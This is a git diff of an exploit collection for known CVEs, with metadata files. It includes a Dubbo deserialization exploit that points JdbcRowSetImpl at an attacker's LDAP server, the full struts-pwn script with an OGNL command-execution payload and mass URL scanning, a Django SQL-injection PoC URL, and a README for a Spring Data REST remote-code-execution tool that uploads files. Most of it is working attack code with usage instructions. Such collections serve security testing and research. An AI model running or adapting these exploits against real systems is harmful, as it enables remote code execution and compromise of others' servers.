Set<String> allowSet = new ConcurrentHashSet<>();
|
||||
allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());
|
||||
|
||||
SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
|
||||
Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
|
||||
f.setAccessible(true);
|
||||
f.set(serializeClassChecker, allowSet);
|
||||
|
||||
// SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
|
||||
// Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
|
||||
// f.setAccessible(true);
|
||||
// f.set(serializeClassChecker, new ConcurrentHashSet<>());
|
||||
|
||||
Map<Object, Object> map1 = new HashMap<>();
|
||||
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
|
||||
map1.put("INSTANCE", serializeClassChecker);
|
||||
|
||||
Map<Object, Object> map2 = new LinkedHashMap<>();
|
||||
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
|
||||
map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
|
||||
map2.put("autoCommit", true);
|
||||
|
||||
List list = new LinkedList();
|
||||
list.add(map1);
|
||||
list.add(map2);
|
||||
|
||||
GenericService genericService = (GenericService) context.getBean("helloService");
|
||||
genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list});
|
||||
}
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
package org.apache.dubbo.samples;
|
||||
|
||||
import org.springframework.context.support.ClassPathXmlApplicationContext;
|
||||
|
||||
import java.util.concurrent.CountDownLatch;
|
||||
|
||||
public class DemoProvider {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-provider.xml");
|
||||
context.start();
|
||||
|
||||
System.out.println("dubbo service started");
|
||||
new CountDownLatch(1).await();
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,121 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!--
|
||||
~
|
||||
~ Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
~ contributor license agreements. See the NOTICE file distributed with
|
||||
~ this work for additional information regarding copyright ownership.
|
||||
~ The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
~ (the "License"); you may not use this file except in compliance with
|
||||
~ the License. You may obtain a copy of the License at
|
||||
~
|
||||
~ http://www.apache.org/licenses/LICENSE-2.0
|
||||
~
|
||||
~ Unless required by applicable law or agreed to in writing, software
|
||||
~ distributed under the License is distributed on an "AS IS" BASIS,
|
||||
~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
~ See the License for the specific language governing permissions and
|
||||
~ limitations under the License.
|
||||
~
|
||||
-->
|
||||
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
|
||||
<artifactId>dubbo-samples-test</artifactId>
|
||||
<groupId>org.apache.dubbo.samples</groupId>
|
||||
<version>1.0-SNAPSHOT</version>
|
||||
|
||||
<properties>
|
||||
<source.level>1.8</source.level>
|
||||
<target.level>1.8</target.level>
|
||||
<dubbo.version>3.1.5</dubbo.version>
|
||||
<!-- <dubbo.version>2.7.21</dubbo.version>-->
|
||||
<!-- <dubbo.version>3.0.13</dubbo.version>-->
|
||||
<spring.version>4.3.3.RELEASE</spring.version>
|
||||
<junit.version>4.13.1</junit.version>
|
||||
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
|
||||
</properties>
|
||||
|
||||
<dependencyManagement>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-framework-bom</artifactId>
|
||||
<version>${spring.version}</version>
|
||||
<type>pom</type>
|
||||
<scope>import</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.dubbo</groupId>
|
||||
<artifactId>dubbo-bom</artifactId>
|
||||
<version>${dubbo.version}</version>
|
||||
<type>pom</type>
|
||||
<scope>import</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.dubbo</groupId>
|
||||
<artifactId>dubbo-dependencies-zookeeper</artifactId>
|
||||
<version>${dubbo.version}</version>
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>junit</groupId>
|
||||
<artifactId>junit</artifactId>
|
||||
<version>${junit.version}</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-test</artifactId>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</dependencyManagement>
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.apache.dubbo</groupId>
|
||||
<artifactId>dubbo</artifactId>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.apache.dubbo</groupId>
|
||||
<artifactId>dubbo-dependencies-zookeeper</artifactId>
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<version>${maven-compiler-plugin.version}</version>
|
||||
<configuration>
|
||||
<source>${source.level}</source>
|
||||
<target>${target.level}</target>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-maven-plugin</artifactId>
|
||||
<executions>
|
||||
<execution>
|
||||
<goals>
|
||||
<goal>repackage</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<classifier>spring-boot</classifier>
|
||||
<mainClass>
|
||||
org.apache.dubbo.samples.DemoConsumer
|
||||
</mainClass>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
</project>
|
|
@ -0,0 +1,22 @@
|
|||
id: CVE-2023-23638
|
||||
source: https://github.com/X1r0z/CVE-2023-23638
|
||||
info:
|
||||
name: Apache Dubbo是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题
|
||||
severity: CRITICAL
|
||||
description: |
|
||||
Dubbo是一个高性能优秀的服务框架。CVE-2023-23638中,Dubbo泛型调用存在反序列化漏洞,可导致恶意代码执行。
|
||||
scope-of-influence:
|
||||
Dubbo 2.7.0 - 2.7.21
|
||||
Dubbo 3.0.0 - 3.0.13
|
||||
Dubbo 3.1.0 - 3.1.5
|
||||
reference:
|
||||
- https://exp10it.cn/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/
|
||||
- https://mp.weixin.qq.com/s?__biz=Mzg3OTcyNjM1MQ==&mid=2247483788&idx=1&sn=7954ad20fec203469a13a09050536a1c
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2023-23638
|
||||
cwe-id: CWE-502
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: Apache Dubbo, Deserialization vulnerability when generic invoke
|
|
@ -0,0 +1,22 @@
|
|||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2018 Mazin Ahmed
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
*struts-pwn - CVE-2018-11776 Exploit*
|
||||
============
|
||||
|
||||
### An exploit for Apache Struts CVE-2018-11776 ###
|
||||
|
||||
|
||||
# **Usage** #
|
||||
|
||||
## Check if the vulnerability exists against a single URL. ##
|
||||
`python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action'`
|
||||
|
||||
## Check if the vulnerability exists against a list of URLs. ##
|
||||
`python struts-pwn.py --list 'urls.txt'`
|
||||
|
||||
## Exploit a single URL. ##
|
||||
`python struts-pwn.py --exploit --url 'http://example.com/demo/struts2-showcase/index.action' -c 'id'`
|
||||
|
||||
## Exploit a list of URLs. ##
|
||||
`python struts-pwn.py --exploit --list 'urls.txt' -c 'id'`
|
||||
|
||||
|
||||
# **Demo** #
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
# **Requirements** #
|
||||
* Python2 or Python3
|
||||
* requests
|
||||
|
||||
|
||||
# **Legal Disclaimer** #
|
||||
This project is made for educational and ethical testing purposes only. Usage of struts-pwn for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
|
||||
|
||||
|
||||
# **License** #
|
||||
The project is licensed under MIT License.
|
||||
|
||||
|
||||
# **Author** #
|
||||
*Mazin Ahmed*
|
||||
* Website: [https://mazinahmed.net](https://mazinahmed.net)
|
||||
* Email: *mazin AT mazinahmed DOT net*
|
||||
* Twitter: [https://twitter.com/mazen160](https://twitter.com/mazen160)
|
||||
* Linkedin: [http://linkedin.com/in/infosecmazinahmed](http://linkedin.com/in/infosecmazinahmed)
|
|
@ -0,0 +1,226 @@
|
|||
#!/usr/bin/env python3
|
||||
# coding=utf-8
|
||||
# *****************************************************
|
||||
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
|
||||
# Author:
|
||||
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
|
||||
# This code uses a payload from:
|
||||
# https://github.com/jas502n/St2-057
|
||||
# *****************************************************
|
||||
|
||||
import argparse
|
||||
import random
|
||||
import requests
|
||||
import sys
|
||||
try:
|
||||
from urllib import parse as urlparse
|
||||
except ImportError:
|
||||
import urlparse
|
||||
|
||||
# Disable SSL warnings
|
||||
try:
|
||||
import requests.packages.urllib3
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if len(sys.argv) <= 1:
|
||||
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
|
||||
print('[*] Struts-PWN - @mazen160')
|
||||
print('\n%s -h for help.' % (sys.argv[0]))
|
||||
exit(0)
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-u", "--url",
|
||||
dest="url",
|
||||
help="Check a single URL.",
|
||||
action='store')
|
||||
parser.add_argument("-l", "--list",
|
||||
dest="usedlist",
|
||||
help="Check a list of URLs.",
|
||||
action='store')
|
||||
parser.add_argument("-c", "--cmd",
|
||||
dest="cmd",
|
||||
help="Command to execute. (Default: 'id')",
|
||||
action='store',
|
||||
default='id')
|
||||
parser.add_argument("--exploit",
|
||||
dest="do_exploit",
|
||||
help="Exploit.",
|
||||
action='store_true')
|
||||
|
||||
|
||||
args = parser.parse_args()
|
||||
url = args.url if args.url else None
|
||||
usedlist = args.usedlist if args.usedlist else None
|
||||
cmd = args.cmd if args.cmd else None
|
||||
do_exploit = args.do_exploit if args.do_exploit else None
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
|
||||
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
|
||||
'Accept': '*/*'
|
||||
}
|
||||
timeout = 3
|
||||
|
||||
|
||||
def parse_url(url):
|
||||
"""
|
||||
Parses the URL.
|
||||
"""
|
||||
|
||||
# url: http://example.com/demo/struts2-showcase/index.action
|
||||
|
||||
url = url.replace('#', '%23')
|
||||
url = url.replace(' ', '%20')
|
||||
|
||||
if ('://' not in url):
|
||||
url = str("http://") + str(url)
|
||||
scheme = urlparse.urlparse(url).scheme
|
||||
|
||||
# Site: http://example.com
|
||||
site = scheme + '://' + urlparse.urlparse(url).netloc
|
||||
|
||||
# FilePath: /demo/struts2-showcase/index.action
|
||||
file_path = urlparse.urlparse(url).path
|
||||
if (file_path == ''):
|
||||
file_path = '/'
|
||||
|
||||
# Filename: index.action
|
||||
try:
|
||||
filename = url.split('/')[-1]
|
||||
except IndexError:
|
||||
filename = ''
|
||||
|
||||
# File Dir: /demo/struts2-showcase/
|
||||
file_dir = file_path.rstrip(filename)
|
||||
if (file_dir == ''):
|
||||
file_dir = '/'
|
||||
|
||||
return({"site": site,
|
||||
"file_dir": file_dir,
|
||||
"filename": filename})
|
||||
|
||||
|
||||
def build_injection_inputs(url):
|
||||
"""
|
||||
Builds injection inputs for the check.
|
||||
"""
|
||||
|
||||
parsed_url = parse_url(url)
|
||||
injection_inputs = []
|
||||
url_directories = parsed_url["file_dir"].split("/")
|
||||
|
||||
try:
|
||||
url_directories.remove("")
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
for i in range(len(url_directories)):
|
||||
injection_entry = "/".join(url_directories[:i])
|
||||
|
||||
if not injection_entry.startswith("/"):
|
||||
injection_entry = "/%s" % (injection_entry)
|
||||
|
||||
if not injection_entry.endswith("/"):
|
||||
injection_entry = "%s/" % (injection_entry)
|
||||
|
||||
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
|
||||
injection_entry += parsed_url["filename"]
|
||||
|
||||
injection_inputs.append(injection_entry)
|
||||
|
||||
return(injection_inputs)
|
||||
|
||||
|
||||
def check(url):
|
||||
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
|
||||
multiplication_value = random_value * random_value
|
||||
injection_points = build_injection_inputs(url)
|
||||
parsed_url = parse_url(url)
|
||||
print("[%] Checking for CVE-2018-11776")
|
||||
print("[*] URL: %s" % (url))
|
||||
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
|
||||
attempts_counter = 0
|
||||
|
||||
for injection_point in injection_points:
|
||||
attempts_counter += 1
|
||||
print("[%s/%s]" % (attempts_counter, len(injection_points)))
|
||||
testing_url = "%s%s" % (parsed_url["site"], injection_point)
|
||||
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
|
||||
try:
|
||||
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
continue
|
||||
if "Location" in resp.headers.keys():
|
||||
if str(multiplication_value) in resp.headers['Location']:
|
||||
print("[*] Status: Vulnerable!")
|
||||
return(injection_point)
|
||||
print("[*] Status: Not Affected.")
|
||||
return(None)
|
||||
|
||||
|
||||
def exploit(url, cmd):
|
||||
parsed_url = parse_url(url)
|
||||
|
||||
injection_point = check(url)
|
||||
if injection_point is None:
|
||||
print("[%] Target is not vulnerable.")
|
||||
return(0)
|
||||
print("[%] Exploiting...")
|
||||
|
||||
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
|
||||
|
||||
testing_url = "%s%s" % (parsed_url["site"], injection_point)
|
||||
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
|
||||
|
||||
try:
|
||||
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
|
||||
except Exception as e:
|
||||
print("EXCEPTION::::--> " + str(e))
|
||||
return(1)
|
||||
|
||||
print("[%] Response:")
|
||||
print(resp.text)
|
||||
return(0)
|
||||
|
||||
|
||||
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
|
||||
if url:
|
||||
if not do_exploit:
|
||||
check(url)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
|
||||
if usedlist:
|
||||
URLs_List = []
|
||||
try:
|
||||
f_file = open(str(usedlist), "r")
|
||||
URLs_List = f_file.read().replace("\r", "").split("\n")
|
||||
try:
|
||||
URLs_List.remove("")
|
||||
except ValueError:
|
||||
pass
|
||||
f_file.close()
|
||||
except Exception as e:
|
||||
print("Error: There was an error in reading list file.")
|
||||
print("Exception: " + str(e))
|
||||
exit(1)
|
||||
for url in URLs_List:
|
||||
if not do_exploit:
|
||||
check(url)
|
||||
else:
|
||||
exploit(url, cmd)
|
||||
|
||||
print("[%] Done.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
|
||||
except KeyboardInterrupt:
|
||||
print("\nKeyboardInterrupt Detected.")
|
||||
print("Exiting...")
|
||||
exit(0)
|
|
@ -0,0 +1 @@
|
|||
requests
|
|
@ -0,0 +1,20 @@
|
|||
id: CVE-2018-11776
|
||||
source: https://github.com/mazen160/struts-pwn_CVE-2018-11776
|
||||
info:
|
||||
name: Apache Struts是一个用于构建基于Java的web应用程序的模型-视图-控制器(MVC)框架。
|
||||
severity: high
|
||||
description:
|
||||
Apache Struts 版本 2.3 到 2.3.34 和 2.5 到 2.5.16 在 alwaysSelectFullNamespace 为 true 时(由用户或像 Convention 插件这样的插件)遭受可能的远程代码执行,然后: 结果在没有命名空间的情况下使用,同时,它的上层包没有或通配符命名空间,类似于结果,当使用没有设置值和操作的 url 标签时,同样的可能性同时, 它的上层包没有或通配符命名空间。
|
||||
scope-of-influence:
|
||||
Struts 2.3.1 - Struts 2.3.34
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 8.1
|
||||
cve-id: CVE-2018-11776
|
||||
cwe-id: CWE-20
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags:
|
||||
- 远程命令执行
|
|
@ -0,0 +1,27 @@
|
|||
## Django上传文件目录穿越漏洞——CVE-2021-31542
|
||||
## 漏洞描述
|
||||
Django 3.2.1, 3.1.9, and 2.2.21: CVE-2021-31542: Potential
|
||||
directory-traversal via uploaded files
|
||||
|
||||
在这些版本的Django中使用`MultiPartParser`, `UploadedFile`, 和 `FieldFile` 时,存在构造特别的文件名../等进行目录穿越漏洞。
|
||||
构造文件名参考:/tmp/../path
|
||||
|
||||
## 修复方案:
|
||||
空文件名和带..的文件名都将拒绝
|
||||
|
||||
在文件:django/core/files/utils.py 中添加方法:
|
||||
```
|
||||
def validate_file_name(name):
|
||||
if name != os.path.basename(name):
|
||||
raise SuspiciousFileOperation("File name '%s' includes path elements" % name)
|
||||
|
||||
# Remove potentially dangerous names
|
||||
if name in {'', '.', '..'}:
|
||||
raise SuspiciousFileOperation("Could not derive file name from '%s'" % name)
|
||||
|
||||
return name
|
||||
```
|
||||
|
||||
|
||||
**参考 commit**
|
||||
https://github.com/django/django/commit/04ac1624bdc2fa737188401757cf95ced122d26d
|
|
@ -0,0 +1,22 @@
|
|||
id: CVE-2021-31542
|
||||
source:
|
||||
https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Django/CVE-2021-31542.md
|
||||
info:
|
||||
name: Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
|
||||
severity: high
|
||||
description: |
|
||||
在Django 2.2(2.2.21之前)、3.1(3.1.9之前)和3.2(3.2.1之前)中,MultiPartParser、UploadedFile和FieldFile允许通过上传文件和适当伪造的文件名进行目录穿越。
|
||||
scope-of-influence:
|
||||
Django 2.2.x - 2.2.21
|
||||
Django 3.1.x - 3.1.9
|
||||
Django 3.2.x - 3.2.1
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-31542
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2021-31542
|
||||
cwe-id: CWE-22
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: Django, Directory traversal
|
|
@ -0,0 +1 @@
|
|||
Subproject commit 5a28f5e3fa893ea64e81488ef736665d17908499
|
|
@ -0,0 +1,20 @@
|
|||
### CVE-2022-28346
|
||||
Django QuerySet.annotate(), aggregate(), extra() SQL 注入
|
||||
|
||||
### 环境初始化
|
||||
```
|
||||
1.python manage.py makemigrations
|
||||
2.python manage.py migrate
|
||||
3.访问http://x.x.x.x:8000/ 插入初始化数据
|
||||
```
|
||||
|
||||
### 漏洞复现
|
||||
|
||||
```
|
||||
访问http://x.x.x.x:8000/demo
|
||||
POC: http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
|
||||
```
|
||||
|
||||

|
||||
|
||||
**验证漏洞存在**
|
Binary file not shown.
After Width: | Height: | Size: 46 KiB |
|
@ -0,0 +1,22 @@
|
|||
id: CVE-2022-28346
|
||||
source:
|
||||
https://github.com/DeEpinGh0st/CVE-2022-28346
|
||||
info:
|
||||
name: Django 是一个高级的 Python 网络框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django 负责处理网站开发中麻烦的部分,因此你可以专注于编写应用程序,而无需重新开发。 它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
|
||||
severity: critical
|
||||
description: |
|
||||
Django部分版本存在QuerySet.annotate()、aggregate() 和 extra() 方法可通过精心制作的字典(带有字典扩展)作为传递的 **kwargs 在列别名中进行 SQL 注入。
|
||||
scope-of-influence:
|
||||
Django 2.2.x - 2.2.28
|
||||
Django 3.2.x - 3.2.13
|
||||
Django 4.0.x - 4.0.4
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-28346
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-28346
|
||||
cwe-id: CWE-89
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: Django, SQL injection
|
|
@ -0,0 +1,60 @@
|
|||
###################
|
||||
# Compiled source #
|
||||
###################
|
||||
*.com
|
||||
*.dll
|
||||
*.exe
|
||||
*.o
|
||||
*.so
|
||||
*.bat
|
||||
|
||||
############
|
||||
# Packages #
|
||||
############
|
||||
# it's better to unpack these files and commit the raw source
|
||||
# git has its own built in compression methods
|
||||
*.7z
|
||||
*.dmg
|
||||
*.gz
|
||||
*.iso
|
||||
*.rar
|
||||
*.tar
|
||||
*.zip
|
||||
|
||||
######################
|
||||
# Logs and databases #
|
||||
######################
|
||||
*.log
|
||||
*.sqlite
|
||||
|
||||
######################
|
||||
# OS generated files #
|
||||
######################
|
||||
.DS_Store*
|
||||
ehthumbs.db
|
||||
Icon?
|
||||
Thumbs.db
|
||||
*~
|
||||
|
||||
######################
|
||||
# Other repositories #
|
||||
######################
|
||||
.svn
|
||||
.\#*
|
||||
|
||||
####################
|
||||
# Java programming #
|
||||
####################
|
||||
build
|
||||
doc
|
||||
generated
|
||||
target
|
||||
.project
|
||||
.classpath
|
||||
.settings
|
||||
*.class
|
||||
*.jar
|
||||
*.war
|
||||
*.ear
|
||||
junit*.properties
|
||||
/bin/
|
|
@ -0,0 +1,13 @@
|
|||
Copyright 2018 Antonio Francesco Sardella
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
|
@ -0,0 +1,163 @@
|
|||
# spring-break_cve-2017-8046
|
||||
|
||||
This is a Java program that exploits **Spring Break** vulnerability (**CVE-2017-8046**).
|
||||
|
||||
This software is written to have as less external dependencies as possible.
|
||||
|
||||
## DISCLAIMER
|
||||
|
||||
**This tool is intended for security engineers and appsec guys for security assessments. Please use this tool responsibly. I do not take responsibility for the way in which any one uses this application. I am NOT responsible for any damages caused or any crimes committed by using this tool.**
|
||||
|
||||
## Vulnerability info
|
||||
|
||||
* **CVE-ID**: CVE-2017-8046
|
||||
* **Link**: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046)
|
||||
* **Description**: Malicious *PATCH* requests submitted to *spring-data-rest* servers in **Pivotal Spring Data REST** versions prior to **2.5.12**, **2.6.7**, **3.0 RC3**, **Spring Boot** versions prior to **2.0.0M4**, and **Spring Data** release trains prior to **Kay-RC3** can use specially crafted JSON data to run arbitrary Java code.
|
||||
* **Vendor link**: [https://pivotal.io/security/cve-2017-8046](https://pivotal.io/security/cve-2017-8046)
|
||||
|
||||
## How to generate an executable JAR
|
||||
|
||||
Here some steps to follow in order to generate an executable JAR, with all dependencies into it, that can be used to launch the exploit.
|
||||
|
||||
### with Maven
|
||||
|
||||
Following Maven command can be launched:
|
||||
|
||||
```
|
||||
mvn clean compile package
|
||||
```
|
||||
|
||||
### with Eclipse
|
||||
|
||||
Following steps can be done:
|
||||
1. solve all external dependencies/libraries;
|
||||
1. right click on the Eclipse project and go to `Run As > Run Configurations`;
|
||||
1. right click on `Java Application` then on `New`;
|
||||
1. choose a name and set the main class to `com.afs.exploit.spring.SpringBreakCve20178046`;
|
||||
1. click on `Apply` button;
|
||||
1. close the window and go back to the main Eclipse window;
|
||||
1. right click on the Eclipse project and click on `Export...`;
|
||||
1. find and choose `Runnable JAR file` (under `Java` branch);
|
||||
1. in the following window:
|
||||
1. choose the correct `Launch configuration` created before;
|
||||
1. choose an `Export destination`;
|
||||
1. choose the option `Extract required libraries into generated JAR`;
|
||||
1. click on `Finish` button.
|
||||
|
||||
## Help
|
||||
|
||||
```
|
||||
Usage:
|
||||
java -jar spring-break_cve-2017-8046.jar [options]
|
||||
Description:
|
||||
Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
|
||||
Options:
|
||||
-h, --help
|
||||
Prints this help and exits.
|
||||
-u, --url [target_URL]
|
||||
The target URL where the exploit will be performed.
|
||||
You have to choose an existent resource.
|
||||
-cmd, --command [command_to_execute]
|
||||
The command that will be executed on the remote machine.
|
||||
-U, --upload [file_to_upload]
|
||||
File to upload to the remote machine. Will be uploaded to the current working
|
||||
directory of the java process. Warning: this will only succeed on a server running
|
||||
JRE-1.7 or later.
|
||||
--remote-upload-directory [/some/existing/path/]
|
||||
Optional. Server will attempt to write the uploaded file to this directory on the
|
||||
filesystem. Specified directory must exist and be writeable.
|
||||
--cookies [cookies]
|
||||
Optional. Cookies passed into the request, e.g. authentication cookies.
|
||||
-H, --header [custom_header]
|
||||
Optional. Custom header passed into the request, e.g. authorization header.
|
||||
-k
|
||||
Skip SSL validation
|
||||
--clean
|
||||
Optional. Removes error messages in output due to the usage of the
|
||||
exploit. It could hide error messages if the request fails for other reasons.
|
||||
--error-stream
|
||||
Optional. In case of errors the command will fail and the error stream will
|
||||
not be returned. This option can be used to relaunch the remote command
|
||||
returning the error stream.
|
||||
-v, --verbose
|
||||
Optional. Increase verbosity.
|
||||
```
|
||||
|
||||
|
||||
## Examples
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
|
||||
```
|
||||
|
||||
```
|
||||
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
|
||||
```
|
||||
|
||||
```
|
||||
